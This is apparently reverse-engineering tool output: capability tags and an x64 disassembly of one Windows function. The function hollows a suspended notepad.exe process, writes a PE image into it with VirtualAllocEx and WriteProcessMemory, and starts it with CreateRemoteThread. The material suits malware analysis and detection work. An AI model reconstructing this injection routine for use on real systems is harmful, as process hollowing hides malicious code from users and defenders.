Function at 0x140001020
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rbp
push r12
push r14
sub rsp, 0x130
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x120], rax
movsxd rbp, dword [0x14000507c]
lea r12, [0x140005040]
xorps xmm0, xmm0
mov dword [rsp + 0xb0], 0x68
movups xmmword [rsp + 0xb8], xmm0
lea rcx, [0x140003360]
add rbp, r12
movups xmmword [r11 - 0x80], xmm0
movups xmmword [r11 - 0x70], xmm0
movups xmmword [r11 - 0x60], xmm0
movups xmmword [r11 - 0x50], xmm0
movups xmmword [r11 - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rbp], 0x4550
mov rbx, rax
je 0x1400010bb
mov eax, 1
jmp 0x1400014e4
lea rax, [rsp + 0x58]
mov qword [rsp + 0x160], r15
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
xor r15d, r15d
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001116
lea rdx, str.CreateProcess_failed:
jmp 0x140001167
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0xa0]
mov r9d, 0x30
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
xor edx, edx
call rbx
mov r8d, dword [rbp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x58]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x1400011a1
lea rdx, str.VirtualAllocEx_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001580
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001750]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400014dc
mov r9d, dword [rbp + 0x54]
mov r8, r12
mov rcx, qword [rsp + 0x58]
mov rdx, rax
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, r15d
movsxd rax, dword [0x14000507c]
cmp r15w, word [rbp + 6]
jae 0x140001263
lea rbx, [r12 + 0x11c]
mov qword [rsp + 0x158], rdi
add rbx, rax
nop dword [rax + rax]
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
add r8, r12
add rdx, qword [rsp + 0x50]
mov r9d, dword [rbx - 4]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000124d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_write_section:
call fcn.140001580
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001750]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, word [rbp + 6]
add rbx, 0x28
inc esi
cmp esi, eax
jl 0x1400011f0
mov rdi, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rsi, qword [rsp + 0x150]
test eax, eax
jne 0x1400012ca
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_write_ImgBaseAddress:
call fcn.140001580
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001750]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, dword [rbp + 0x28]
xor r8d, r8d
add r9, qword [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rsp + 0x60]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003350]
mov rbx, rax
call fcn.140001580
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003354]
call fcn.140001580
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003358]
call fcn.140001580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.DosHeader:
call fcn.140001580
lea rdx, section..text
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140003424]
call fcn.140001580
mov rdx, r12
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003350]
mov rbx, rax
call fcn.140001580
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003354]
call fcn.140001580
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003358]
call fcn.140001580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.NtHeader:
call fcn.140001580
lea rdx, section..text
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140003424]
call fcn.140001580
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003350]
mov rbx, rax
call fcn.140001580
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003354]
call fcn.140001580
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003358]
call fcn.140001580
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Shellcode_injected_successfully_n
call fcn.140001580
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
xor eax, eax
mov r15, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.1400017a0
mov rbx, qword [rsp + 0x168]
add rsp, 0x130
pop r14
pop r12
pop rbp
ret